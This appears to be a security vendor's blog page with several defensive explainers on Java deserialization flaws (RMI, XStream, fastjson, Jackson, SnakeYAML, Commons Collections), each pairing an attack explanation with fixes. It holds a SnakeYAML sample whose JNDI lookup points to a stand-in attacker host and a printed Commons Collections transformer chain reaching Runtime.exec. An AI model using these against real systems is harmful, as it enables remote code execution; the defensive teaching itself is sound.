Author: UnboundCompute

  • Java RMI and JRMP deserialization explained

    Java RMI and JRMP deserialization explained

    A java rmi deserialization flaw is what makes every other gadget chain far more dangerous. Java Remote Method Invocation lets one JVM call methods on objects living in another JVM, and it moves those method arguments over the network as serialized Java objects. The receiving side deserializes them. If an attacker can reach that endpoint, they can send a crafted object graph and trigger any gadget chain on the classpath, with no login required. This post explains the wire protocol underneath, why it is exposed, and how to lock it down.

    Why java rmi deserialization is a remote, unauthenticated trigger

    Most deserialization bugs need the attacker to find a spot where your app reads untrusted bytes. RMI hands them that spot for free. The protocol’s entire job is to accept serialized objects off a socket and rebuild them. The low level protocol, JRMP (Java Remote Method Protocol), carries the serialized arguments. When the server receives a call, it deserializes those arguments before any of your business logic runs.

    That means the dangerous readObject step happens at the network layer, before authentication, before any check you wrote. An attacker who can open a TCP connection to the RMI port can make the server deserialize whatever they send. If you are new to the underlying issue, read our primer on what insecure deserialization is and the hub on what a deserialization gadget chain is.

    The pieces: registry, stubs, and the wire

    A typical RMI setup has a few moving parts:

    • An RMI registry, usually on port 1099, that maps names to remote objects.
    • Remote objects that expose methods a client can call.
    • The JRMP transport that serializes call arguments on the client and deserializes them on the server.

    You register a service like this:

    Registry registry = LocateRegistry.createRegistry(1099);
    registry.rebind("notes", new NotesServiceImpl());

    A client looks it up and calls a method. Behind that clean API, the arguments travel as a serialized object stream, and the server rebuilds them. The registry itself is also a remote object that deserializes input, so even the lookup path is an attack surface.

    How an attacker uses it

    The attacker does not need to call a real method correctly. They only need the server to deserialize their bytes. The flow is blunt:

    • Connect to the exposed RMI port.
    • Send a JRMP message whose payload is a serialized object graph built as a gadget chain.
    • The server deserializes the arguments, the chain fires during reconstruction, and code runs.

    RMI was designed in an era that assumed the network was trusted. The protocol deserializes attacker controlled objects before your code gets a say, so exposing it to an untrusted network is exposing a readObject call to the internet.

    The payload itself is any chain that works on the target’s classpath. It might be a Commons Collections gadget chain, or a different set of gadgets. RMI does not care. It is the transport, and the transport is the easy part for the attacker. The way those gadgets are ordered into a working payload is covered in pop chains and property oriented programming. Public gadget chain toolkits exist that assemble these payloads, which is why an exposed RMI port is treated as high risk even when no one can name the exact chain in advance.

    JRMP as a second stage

    There is a sharper variant worth knowing. Some gadget chains do not run a command directly. Instead they make the victim JVM open a JRMP connection back to an attacker controlled server. That server then streams a malicious object back, and the victim deserializes it. So even an app that does not expose RMI to receive calls can be pushed into acting as a JRMP client through another deserialization bug. The lesson is that RMI and JRMP are not just an inbound service to protect. They are a deserialization sink and a deserialization source at the same time.

    How to lock down java rmi deserialization

    The strongest move is to not expose RMI at all. Most modern services have no reason to speak it over an untrusted network.

    • Do not expose RMI to untrusted networks. If an internal tool uses it, bind it to localhost or a private segment and firewall the port. An RMI registry reachable from the internet is almost always a mistake.
    • Apply a deserialization filter. Java’s ObjectInputFilter can be set globally through the jdk.serialFilter system property so that even the RMI and registry layers reject classes outside a strict allowlist. Recent JDKs ship a built in filter for the RMI registry; keep it enabled and tighten it.
    # Restrict deserialization across the JVM, including RMI
    -Djdk.serialFilter=java.base/*;!*
    • Prefer a modern transport. Replace RMI with an API that uses typed, data only messages, such as a REST or gRPC service with explicit schemas and no native object deserialization.
    • Trim the classpath. Fewer gadget classes present means fewer chains a payload can complete, the same defense that helps everywhere else.

    Network isolation and a strict filter together cut the attack off at both ends: the attacker cannot reach the port, and even if they could, the filter refuses to build the classes a chain needs.

    The same root cause, a worse blast radius

    Every post in this cluster comes back to one idea: untrusted bytes becoming live objects. What RMI adds is reach. A SnakeYAML deserialization bug or an XStream deserialization bug usually needs an endpoint in your app that parses the format. RMI is the endpoint, built in, and it listens on a port. That is why an exposed RMI service is often the first thing worth checking on a Java host.

    This is an injection class problem, untrusted input reaching a sink that was never meant for it. For more in that family, see our injection and input category.

    Finding this kind of exposure means tracing untrusted network input through the RMI transport to the readObject call that runs before your code, and checking whether a filter stands in the way. Reasoning from source to sink about untrusted input reaching a deserializer is exactly what UnboundCompute is built to do. More on our about page.

    Frequently asked questions

    What makes Java RMI deserialization so dangerous?

    RMI moves method arguments over the network as serialized Java objects and deserializes them on the server before any authentication or business logic runs. An attacker who can reach the RMI port can send a crafted object graph and trigger any gadget chain on the classpath without logging in.

    What is JRMP?

    JRMP is the Java Remote Method Protocol, the low level wire protocol RMI uses to carry serialized call arguments. It is the transport that performs the readObject step on attacker controlled bytes, which is why it is the real sink behind RMI attacks.

    Can an app be attacked through JRMP even if it does not expose RMI?

    Yes. Some gadget chains make the victim JVM open a JRMP connection back to an attacker server, which then streams a malicious object that the victim deserializes. So RMI and JRMP act as both a deserialization sink and a deserialization source.

    How do I secure RMI endpoints?

    Do not expose RMI to untrusted networks; bind it to localhost or a private segment and firewall the port. Apply a strict ObjectInputFilter through jdk.serialFilter so even the RMI and registry layers reject classes outside an allowlist, prefer a typed data only transport instead, and trim the classpath so fewer gadgets are available.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • XStream deserialization attack explained

    XStream deserialization attack explained

    An xstream deserialization attack shows that the danger is never the data format. XStream is a popular Java library that converts objects to XML and back. Its job is to read an XML document and rebuild the Java object it describes. The catch is that the XML gets to say which classes to build, and by default XStream will build almost anything. Point it at a document that names the right classes and reconstructing the object graph runs attacker chosen code. This post walks through the mechanism and the type permission fix.

    How xstream deserialization turns XML into objects

    XStream maps XML element names to Java classes and element contents to fields. A harmless document round trips a simple object:

    <appConfig>
      <name>acme-notes</name>
      <replicas>3</replicas>
    </appConfig>

    To rebuild that, XStream reads the root element, resolves it to a class, creates an instance, and populates the fields. So far so good. The trouble is that the element name, and optional class attributes, decide the type. An attacker who controls the XML controls which classes XStream instantiates and how their fields are set. If this is your first look at rebuilding objects from untrusted input, start with our primer on what insecure deserialization is and the hub on what a deserialization gadget chain is.

    Type coercion is the whole attack

    Because the document chooses types, an attacker writes XML that builds a sequence of objects whose construction reaches a dangerous action. XStream can map into dynamic proxies, handler objects, and collection types whose setup logic, triggered during deserialization, invokes methods the attacker picked. The XML is longer than a native serialized blob, but the idea is identical to the Commons Collections gadget chain: assemble real classes into a chain, then let the deserializer fire it.

    <!-- Conceptual shape, not a working payload -->
    <dynamic-proxy>
      <interface>some.Interface</interface>
      <handler class="a.chain.of.transformers">
        <!-- steps that reach a method call during construction -->
      </handler>
    </dynamic-proxy>

    XStream does exactly what you asked: it reads a description of an object and builds it. The flaw is trusting the description, because the description came from an attacker and it named classes you never meant to allow.

    The gadget classes that finish the job are whatever useful types sit on the classpath, the same population that powers the other chains in this cluster. XStream is just a different doorway to them. For how a usable sequence of classes is discovered, see finding deserialization gadget chains.

    Where untrusted XML reaches XStream

    As with the YAML case, teams assume XML parsing is internal and therefore safe. It often is not.

    • An endpoint that accepts XML request bodies and calls xstream.fromXML on them.
    • A SOAP style service or a legacy integration that exchanges XStream encoded objects.
    • An import or restore feature that reads an XStream document a user uploaded.
    • A queue or cache whose contents are not fully trusted.

    Every one of those is a path from attacker input to fromXML, which is the sink. The question is the same one we ask of every parser: could these bytes come from someone outside my trust boundary?

    How to fix xstream deserialization with type permissions

    Modern XStream ships a security framework built on type permissions. The idea is an allowlist: deny everything, then permit only the specific types your app actually deserializes. Newer versions default to a deny posture, but you should set the allowlist explicitly so you are not relying on a default that a version change could alter.

    XStream xstream = new XStream();
    // Start from nothing allowed
    xstream.addPermission(NoTypePermission.NONE);
    // Permit only the types you expect
    xstream.allowTypes(new Class[] { AppConfig.class });
    AppConfig config = (AppConfig) xstream.fromXML(untrustedInput);
    • Deny by default, then allow named types. This is the single most effective control. If a document names anything outside your allowlist, XStream refuses to build it.
    • Avoid allowing broad wildcards. Permitting whole packages or any type by interface quietly reopens the hole. Keep the list to concrete classes.
    • Prefer a data only format where you can. If the integration does not truly need arbitrary object graphs, a typed JSON or a schema validated XML mapping removes the open ended construction entirely.
    • Keep XStream current. Updates remove known dangerous mappings and strengthen the default posture. Treat the allowlist as your real defense and the version as backup.

    One principle across the whole cluster

    Type permission allowlisting in XStream, SafeConstructor in SnakeYAML deserialization, and ObjectInputFilter in Java RMI and JRMP deserialization are the same fix wearing different names. Each one takes away the attacker’s ability to name arbitrary types and hands that decision back to you. The format, XML, YAML, native bytes, or an RMI stream, is only the envelope. The payload is always the same: untrusted input choosing which classes come to life.

    This is an injection class bug, untrusted input reaching a sink it was never meant to touch. For more in that family, browse our injection and input category.

    Catching it means following an XML body from the request edge to the exact fromXML call and checking whether a type permission allowlist stands between the two. Reasoning from source to sink about untrusted input reaching a deserializer is exactly what UnboundCompute is built to do. More on our about page.

    Frequently asked questions

    What is an XStream deserialization attack?

    XStream converts XML back into Java objects, and the XML document decides which classes to build. By default XStream will instantiate almost any type named in the document, so an attacker who controls the XML can build a chain of classes whose construction reaches attacker chosen code.

    How is this different from native Java deserialization?

    The mechanism is the same, only the envelope differs. Instead of a serialized byte blob, the attacker writes an XML document that names the classes, often through dynamic proxies or handler objects. The gadget classes on the classpath that finish the job are the same population used by other chains.

    Where does untrusted XML reach XStream in a real app?

    Through endpoints that accept XML request bodies, SOAP style or legacy integrations that exchange XStream objects, import or restore features that read uploaded documents, and queues or caches whose contents are not fully trusted. Any of these can reach a fromXML call.

    How do I prevent XStream deserialization attacks?

    Use XStream type permissions as an allowlist: deny everything with NoTypePermission.NONE, then permit only the concrete classes you expect. Avoid broad wildcard permissions, prefer a data only format where arbitrary object graphs are not needed, and keep XStream current as backup to the allowlist.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • How fastjson autoType turns JSON into RCE

    How fastjson autoType turns JSON into RCE

    The fastjson autotype feature lets a JSON document name the exact Java class it should be turned into. fastjson is a fast JSON library for Java, and autoType is the setting that reads a class name out of the payload and builds it. When the JSON comes from a user, that one feature hands the attacker a way to choose which classes your server constructs while it parses a request.

    What fastjson autotype is

    fastjson parses JSON into Java objects. By default it fills a target type you give it. autoType adds a special field named @type. When fastjson sees @type in the JSON, it reads the class name that follows, loads that class, and deserializes the rest of the object into it.

    {
      "@type": "com.acme.billing.Invoice",
      "id": 4181,
      "total": 99.00
    }
    

    Here com.acme.billing.Invoice is not data. It is an instruction telling fastjson which class to build. If the request body is attacker controlled, the class name is attacker controlled too.

    Why a class name is enough

    fastjson does more than allocate the object. It calls the constructor, then setters and field assignments for the values in the JSON. So an attacker looks for a class already on the classpath whose setters do something during construction, like opening a connection to a server they control or fetching and loading code from a remote location. Point autoType at that class, fill its fields with attacker chosen values, and parsing the JSON sets the sequence in motion.

    autoType turns a JSON field into a class picker. The parser stops reading data and starts building whatever the sender names.

    Chained together, these reachable classes form a deserialization gadget chain that can end in remote code execution. The classes that show up in these chains are the same kind catalogued in the commons collections gadget chain. As always, no working payload is shown here. The fix is the same whichever classes exist on the box. For the ground level view of why rebuilding objects from untrusted bytes is dangerous at all, read the insecure deserialization primer.

    The history in one paragraph

    Older fastjson versions had autoType on and wide open. Later versions moved to a deny approach, then to autoType being off by default, and added a safeMode that refuses @type entirely. The lesson is not about one version number. Any time a parser resolves a class name from input, someone will find a class you did not expect it to reach. Blocking classes one at a time is a game you lose. Turning the feature off is the move that ends it.

    How to spot fastjson autotype risk

    • Find the parse calls. Search for JSON.parseObject and JSON.parse in the codebase, then check whether the input is a request body, header, cookie, or queue message.
    • Look for autoType being enabled. Grep for ParserConfig, setAutoTypeSupport(true), and the Feature.SupportAutoType flag. Any of these means the payload can carry a class name.
    • Check the version. Very old fastjson releases are risky even without an explicit enable, because the defaults were loose. Record the exact version in use.
    • Watch for @type in traffic. Seeing that field arrive in a user supplied body is a strong signal that the parser is type aware.

    How to fix fastjson autotype

    • Leave autoType off. Do not enable it on any parser that reads untrusted input. If you never call the enable methods and run a current version, the @type field is ignored.
    • Turn on safeMode. safeMode makes fastjson reject @type outright, so no class name in the JSON is ever honored. Set it globally where you can.
    // Refuse @type everywhere, no class picking from input
    ParserConfig.getGlobalInstance().setSafeMode(true);
    
    • If you must accept typed input, use a strict allowlist. Register the small set of classes you actually expect and reject every other name. An allowlist is safe because it says yes to a known list. A blocklist is not, because attackers keep finding names you forgot.
    • Deserialize into concrete types. Parse into a specific class you define with named fields, so the type is fixed by your code and the @type field has nothing to decide.
    • Keep the library patched. Upgrades both fix default behavior and remove gadget classes from the surrounding dependencies.

    Why fastjson autotype is worth understanding deeply

    You cannot catch this with a canned payload list, because the class that matters depends on what sits on the classpath of the target. You catch it by noticing that a parser resolves types from input, then asking whether a user can reach it and what it can build. That is the same reasoning behind jackson polymorphic deserialization in the other big Java JSON library. For the wider family of bugs where input crosses a trust boundary, see the injection and input category.

    This is exactly the kind of flaw an autonomous researcher that reasons about whether untrusted input can reach a type resolving deserializer is built to find. You can read how we approach it on our about page.

    Frequently asked questions

    What is fastjson autoType?

    autoType is the fastjson setting that reads a class name from an @type field in the JSON and builds that class. It lets a document choose its own Java type during parsing. When the JSON comes from a user, the class name is attacker controlled.

    How does fastjson autoType lead to remote code execution?

    fastjson runs the constructor and setters of the chosen class as it parses. An attacker points @type at a class already on the classpath whose setters do something dangerous, like opening a connection or loading code, and fills its fields. Chained together these classes form a gadget chain that can end in code execution.

    Is fastjson autoType on by default?

    Current versions ship with autoType off and offer a safeMode that refuses @type entirely. Older versions had it open or easy to enable. Record the exact version in use, because the defaults changed over time and very old releases are risky on their own.

    How do I stop fastjson autoType attacks?

    Leave autoType off on any parser that reads untrusted input, turn on safeMode so @type is rejected, and parse into concrete types you define. If you must accept typed input, register a strict allowlist of expected classes and deny all others.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Jackson polymorphic deserialization explained

    Jackson polymorphic deserialization explained

    Jackson polymorphic deserialization is a Jackson feature that lets a JSON document decide which Java class it should become. That is convenient when your code stores mixed types. It is also how a plain looking JSON body turns into a gadget trigger, because the person sending the JSON, not your code, gets to pick the class that Jackson builds.

    What jackson polymorphic deserialization does

    Jackson maps JSON to Java objects. Normally you hand it a target type and it fills in the fields. Polymorphic typing changes the deal. When a field is declared as an interface or a base class, Jackson has to decide which subclass to create. So it reads a type hint straight out of the JSON and builds that type.

    There are two common ways this gets switched on. The blunt one is default typing, set once on the mapper so it applies everywhere:

    ObjectMapper mapper = new ObjectMapper();
    mapper.activateDefaultTyping(
        LaissezFaireSubTypeValidator.instance,
        ObjectMapper.DefaultTyping.NON_FINAL);
    

    The narrower one is an annotation on a field or a type:

    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    private Object payload;
    

    Both do the same risky thing. They let the incoming document carry a class name, and they trust it.

    The type hint sits in the JSON

    With default typing on, Jackson reads a two element array where the first element is the class name and the second is the object:

    ["com.acme.notes.Attachment", {"name": "report.pdf", "size": 2048}]
    

    That first string is an instruction. Jackson loads the named class, then deserializes the object into it. If a user controls the request body, the user controls that string, and now the user is choosing which class your server constructs.

    Once the JSON picks the class, you are not parsing data any more. You are letting a stranger name the objects your program builds.

    How a type hint becomes a gadget trigger

    Picking the class is only step one. The damage comes from which classes are reachable. An attacker does not send your Attachment class. They swap the name for a class that is already on the application classpath and that does something useful while it is being built or configured, such as opening a network connection or loading code from a remote source.

    Jackson builds the object by calling a constructor and then setter methods for the fields in the JSON. If a class on the classpath has a setter that, for example, connects to a database URL you supply, then simply deserializing a crafted object makes that call happen. Stitch a few of these together and the act of parsing JSON ends in remote code execution. That stitched sequence is the core idea behind a deserialization gadget chain, and the automatic methods it abuses are the same ones described in magic methods in deserialization attacks. No working chain is shown here, on purpose. The defense does not depend on the exact classes.

    The key point is that the attacker uploads no new code. They arrange classes your app already ships so that rebuilding one object runs them in an order nobody intended. If you want the first principles version, start with the insecure deserialization primer.

    Spotting it in a codebase

    • Search for default typing. Look for activateDefaultTyping, the older enableDefaultTyping, and any mapper that enables typing globally. This is the highest risk setting because it applies to every Object field.
    • Find the annotations. Grep for @JsonTypeInfo with Id.CLASS or Id.MINIMAL_CLASS. These embed a full class name in the JSON and let it be chosen at parse time.
    • Trace the source of the JSON. A typed mapper reading a config file you ship is fine. The same mapper reading a request body, a message from a queue, or a cookie is the risk. Follow the bytes back to where they enter.
    • Look for fields typed as Object or a broad interface. Those are the slots where Jackson has to ask the JSON which class to build.

    How to fix jackson polymorphic deserialization safely

    The clean fix is to stop letting the document choose the class.

    • Turn default typing off. Do not call activateDefaultTyping on a mapper that reads untrusted input. If you never needed polymorphism, you never needed the risk.
    • Deserialize into concrete types. Map the body into a specific class you define, with named fields, not into Object. Then the type is fixed by your code, not by the JSON.
    • If you truly need polymorphism, use a strict allowlist. Jackson supports a PolymorphicTypeValidator that only permits a named set of subtypes. Name the handful of classes you expect and reject everything else by default.
    PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("com.acme.notes.Attachment")
        .allowIfSubType("com.acme.notes.Comment")
        .build();
    ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();
    
    • Prefer a name to class mapping you control. Use @JsonSubTypes with short logical names, so the JSON carries a tag like "kind": "attachment" instead of a raw class name. The client never gets to name a class at all.
    • Keep dependencies current. Many known gadget classes live in old library versions. Patching removes classes an attacker would reach for.

    Why this bug rewards reading the app

    You do not find this by firing a fixed payload list. You find it by noticing that a mapper has default typing on, then asking whether untrusted bytes can reach it, and which classes sit on the classpath to be chosen. That is assumption testing, not pattern matching. See the injection and input category for the family this belongs to, and the related fastjson autoType and TypeNameHandling writeups for the same idea in other libraries.

    This is the kind of bug an autonomous researcher that reasons about whether untrusted input can reach a type resolving deserializer is built to surface. You can read how we think about it on our about page.

    Frequently asked questions

    What is Jackson polymorphic deserialization?

    It is a Jackson feature where a JSON document carries a type hint, such as a class name in a two element array, and Jackson builds that class instead of a fixed type. It is enabled by default typing on the mapper or by the @JsonTypeInfo annotation. When the JSON is attacker controlled, the attacker chooses which class your server constructs.

    Why is default typing in Jackson dangerous?

    Default typing applies to every Object or base class field, so any untrusted JSON can name a class for Jackson to build. If a class on the application classpath does something useful while being constructed, such as opening a connection, an attacker can reach it and start a gadget chain that can end in remote code execution.

    How do I disable Jackson polymorphic deserialization safely?

    Do not call activateDefaultTyping on a mapper that reads untrusted input, and map request bodies into concrete classes you define. If you truly need polymorphism, configure a PolymorphicTypeValidator that allows only a named set of subtypes and rejects everything else by default.

    Is an allowlist better than blocking known gadget classes?

    Yes. A blocklist of bad classes never stays complete, because attackers keep finding new classes the deserializer can reach. An allowlist names the small set of classes you expect and denies the rest, so it holds even as new gadget classes appear.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • SnakeYAML deserialization: how a YAML parser becomes RCE

    SnakeYAML deserialization: how a YAML parser becomes RCE

    A snakeyaml deserialization bug turns a config parser into a remote code execution hole. SnakeYAML is the most common YAML library for Java, and its default loader does something surprising: it will build almost any Java object you name in the YAML itself. Feed it a tag that points at a dangerous class, and parsing the document is enough to run attacker chosen code. This post shows how that happens and how to switch the parser into a safe mode.

    Why snakeyaml deserialization is dangerous by default

    YAML looks like a harmless data format. Key value pairs, lists, indentation. But YAML has a feature most people never use on purpose: tags that name a concrete type. SnakeYAML’s default constructor honors those tags. When it sees a tag like !!com.example.Thing, it does not just parse data. It instantiates that class and calls its setters with the values you provide.

    That is the whole problem. The document, which came from a user, gets to decide which Java classes are created. If you have never seen why rebuilding objects from untrusted input is risky, read our primer on what insecure deserialization is and the cluster hub on what a deserialization gadget chain is.

    What a malicious YAML document looks like

    A plain YAML document is just data:

    name: acme-notes
    replicas: 3
    region: us-east

    Now compare a tagged document. The !! prefix tells SnakeYAML to build a specific Java type and call its constructor or setters:

    # Conceptual shape, not a working payload
    !!some.jdbc.DataSource
    jndiName: "rmi://attacker.example/Object"

    The exact class varies, but the pattern is consistent. An attacker picks a type that, when constructed with attacker chosen fields, reaches a dangerous action. A common route is a type that performs a JNDI lookup, which can load and run a remote class. Another route is a type that wraps a scripting engine, so setting a property evaluates attacker supplied script. In both cases the attacker never needs your code to cooperate. The parser does the work.

    From parse to code execution

    Walk through what the default loader does with a tagged document:

    • It reads the tag and resolves it to a Java class.
    • It creates an instance of that class.
    • It calls setters or a constructor with the mapping values from the document.
    • If one of those calls triggers a lookup, a connection, or a script evaluation, that side effect happens during parsing.

    You thought you were loading a config file. The loader treated it as a program and ran it, because you let the document name its own types.

    This is the same root cause as the native Java case in the Commons Collections gadget chain, just reached through YAML tags instead of serialized bytes. The gadget classes that finish the job are whatever dangerous types sit on your classpath. YAML is only the delivery mechanism. For how researchers locate a usable sequence of classes, see finding deserialization gadget chains.

    Where untrusted YAML sneaks in

    People assume YAML is safe because they only use it for internal config. But untrusted YAML shows up in more places than expected:

    • An API endpoint that accepts YAML request bodies.
    • A webhook or CI system that parses a YAML file from a repository a user controls.
    • An import feature that reads a YAML document uploaded by a customer.
    • A message on a queue whose producer is not fully trusted.

    Any of these, parsed with the default loader, is a path from attacker input to object construction. The question to ask about every YAML parse in your code is simple: could the bytes come from someone I do not trust?

    How to fix snakeyaml deserialization safely

    The fix is to stop letting the document choose types. SnakeYAML gives you safe constructors for exactly this.

    • Use SafeConstructor. It parses YAML into plain data, maps, lists, strings, numbers, and refuses to instantiate arbitrary Java types from tags. This is the right default for any untrusted input.
    // Safe: no arbitrary type construction
    Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
    Map<String, Object> data = yaml.load(untrustedInput);
    • Bind to a known type explicitly. If you need a concrete object, tell the parser the one class you expect rather than letting the document decide.
    // Safe: you pick the type, not the attacker
    Yaml yaml = new Yaml(new Constructor(AppConfig.class, new LoaderOptions()));
    AppConfig config = yaml.load(untrustedInput);
    • Upgrade SnakeYAML. Recent versions made the safe behavior the default for the common entry point, which closes the hole for code that never opted into the unsafe constructor. Still set the constructor explicitly so an upgrade or a refactor cannot quietly expose you again.
    • Keep untrusted YAML off dangerous classpaths. Fewer lookup and scripting classes available means fewer gadgets a tag can reach, the same defense in depth idea as trimming dependencies anywhere else.

    The principle behind every deserialization fix

    Typed, restricted loading beats open ended loading every time. The danger is never the format. It is handing untrusted input the power to name arbitrary types. The same principle fixes XStream deserialization, which relies on an XML deserializer coercing types, and it is why the network exposure in Java RMI and JRMP deserialization is so serious: it delivers the same class of payload over the wire with no login.

    At heart this is an injection bug, untrusted input reaching a sink it should never touch. For more in that family, see our injection and input category.

    Catching this means following a YAML body from the request edge to the exact yaml.load call and knowing whether that call used a safe constructor. Reasoning from source to sink about untrusted input reaching a deserializer is what UnboundCompute is built to do. More on our about page.

    Frequently asked questions

    Why is SnakeYAML deserialization a security risk?

    SnakeYAML’s default constructor honors YAML type tags, so a document can name any Java class and the parser will instantiate it and call its setters. That lets an attacker who controls the YAML choose which classes get built, and some classes perform a remote lookup or run a script when constructed.

    Is parsing YAML from a config file safe?

    Only if the file is fully trusted. Untrusted YAML reaches parsers through API request bodies, webhooks, repository files, customer uploads, and message queues. If the bytes could come from someone you do not trust, the default loader is unsafe.

    How do I parse YAML safely in Java?

    Use SafeConstructor, which parses YAML into plain data such as maps, lists, strings, and numbers and refuses to build arbitrary types from tags. When you need a real object, pass the one class you expect to the Constructor so the document cannot choose a different type.

    Does upgrading SnakeYAML fix the problem?

    Recent versions make the safe behavior the default for the common entry point, which helps. Still set the constructor explicitly so a later refactor or a different code path cannot quietly reintroduce unsafe loading of untrusted input.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • The Commons Collections gadget chain explained

    The Commons Collections gadget chain explained

    The commons collections gadget chain is the most famous example of how insecure deserialization turns into remote code execution. The trick is not a bug in your code. It is a set of ordinary classes that already sit on your classpath, wired together so that rebuilding one attacker supplied object graph ends in a command running on your server. This post explains the shape of the chain, why those classes are dangerous in combination, and how to shut it down.

    Why the commons collections gadget chain matters

    Apache Commons Collections is a widely used utility library. Plenty of Java services pull it in without ever using the classes at the heart of this attack. That is the core lesson. A gadget chain does not need a vulnerable method you wrote. It needs a deserializer that accepts untrusted bytes and a collection of reusable classes whose normal behavior can be strung into something harmful.

    If you are new to the idea of rebuilding objects from bytes, start with our primer on what insecure deserialization is, then read the cluster hub on what a deserialization gadget chain is. This post is the concrete case those two describe in the abstract.

    The ingredients already on the classpath

    The classic chain leans on a few building blocks that Commons Collections ships. The names matter less than what they do.

    • Transformer is an interface with one job: take an object in, return an object out.
    • ConstantTransformer ignores its input and always returns a fixed object you chose.
    • InvokerTransformer calls a method by name, with arguments you supply, through reflection.
    • ChainedTransformer runs a list of transformers in order, feeding each output into the next.

    On their own these are harmless helpers. Reflection is a normal part of Java. Calling a method by name is a feature, not a flaw. The problem starts when an attacker gets to build the list.

    How the pieces chain into command execution

    Because InvokerTransformer calls any method by name, a list of transformers can walk from a harmless starting object all the way to Runtime.exec. Conceptually the chain looks like this:

    // Conceptual shape, not a working payload
    ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
            new Class[]{ String.class, Class[].class },
            new Object[]{ "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke",
            new Class[]{ Object.class, Object[].class },
            new Object[]{ null, new Object[0] }),
        new InvokerTransformer("exec",
            new Class[]{ String.class },
            new Object[]{ "command here" })
    });

    Read it top to bottom. Start with the Runtime class. Use reflection to fetch its getRuntime method. Invoke that method to get the live runtime object. Then call exec on it. Each step is a normal reflective call. Together they reach a command.

    The missing trigger: who calls the chain

    A chain that never runs is just data. The second half of the attack is finding a class whose own deserialization quietly invokes the transformer. Some map and collection types apply a transformer to their keys or values when they are rebuilt or when a key is read. An attacker wraps the chain inside one of those, so the act of deserializing the object graph fires the chain with no help from your code.

    You did not write a single line that executes an attacker command. The library did, on your behalf, the moment your app called readObject on bytes it should never have trusted.

    This is why the class is called a gadget chain. Each gadget is a real, shipped method with a legitimate purpose. The attacker only decides the order. The entry point is any place your app reads a serialized Java object from a source it does not control: a request body, a cache entry, a message queue, a cookie, a file upload. For the mechanics of arranging gadgets like this, see pop chains and property oriented programming, and for how researchers locate a usable sequence, see finding deserialization gadget chains.

    The same pattern shows up elsewhere

    Commons Collections is the headline example, but the idea generalizes to any deserializer that reconstructs arbitrary types from untrusted input. A YAML loader can do it through type tags, which we cover in the SnakeYAML deserialization writeup. An XML deserializer can do it through type coercion, covered in the XStream deserialization post. And an RMI endpoint hands an attacker a remote, unauthenticated way to deliver any of these chains, covered in Java RMI and JRMP deserialization. The gadgets differ. The root cause is the same: untrusted bytes become live objects with no limit on which classes get built.

    How to stop it

    You cannot remove reflection from Java, and you often cannot remove Commons Collections from a large dependency tree. So defend the entry point, not the gadgets.

    • Do not deserialize untrusted input with native Java serialization. If you control both ends, prefer a data format like JSON with explicit, typed parsing and no automatic type resolution.
    • Add a serialization filter. Modern Java supports an allowlist of classes that are permitted to deserialize through ObjectInputFilter. Set it to accept only the handful of types your app actually expects, and reject everything else.
    • Remove the reachable trigger where you can. If you do not need native deserialization on a given endpoint, delete the code path entirely. An endpoint that never calls readObject on attacker bytes has no chain to fire.
    • Keep dependencies current and minimal. Fewer libraries mean fewer available gadgets, and patched versions remove some known trigger classes.

    The allowlist is the strongest single control because it attacks the real problem. The danger was never the gadgets. It was letting untrusted bytes decide which classes to build. An allowlist takes that decision back.

    Where this sits in the broader picture

    This is an injection class bug at heart: untrusted input flows into a sink that was never meant to receive it. For related reading on how input reaches dangerous operations, browse our injection and input category.

    Finding one of these before an attacker does means tracing untrusted bytes from the edge of the app all the way to a readObject call, across libraries you did not write. That source to sink reasoning about untrusted input reaching a deserializer is exactly what UnboundCompute is built to do. Read more on our about page.

    Frequently asked questions

    What is the Commons Collections gadget chain?

    It is a sequence of ordinary Apache Commons Collections classes, such as ChainedTransformer and InvokerTransformer, that an attacker orders so that deserializing one crafted object graph ends in a command running on the server. No vulnerable method in your own code is needed, only a deserializer that accepts untrusted bytes and the library on the classpath.

    Do I have to use Commons Collections in my code to be at risk?

    No. The chain relies on classes that ship with the library, so any service that has Commons Collections on its classpath and deserializes untrusted Java objects can be exposed, even if your own code never references those classes directly.

    How does the chain actually reach command execution?

    InvokerTransformer calls any method by name through reflection. A list of transformers walks from the Runtime class, fetches getRuntime, invokes it to get the live runtime object, then calls exec. A map or collection type that applies the transformer during deserialization fires the whole sequence automatically.

    How do I prevent the Commons Collections gadget chain?

    Stop deserializing untrusted input with native Java serialization, add an ObjectInputFilter allowlist that accepts only the few classes your app expects, remove deserialization code paths you do not need, and keep dependencies minimal and current. The allowlist is the strongest control because it stops untrusted bytes from choosing which classes get built.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Finding Deserialization Gadget Chains

    Finding Deserialization Gadget Chains

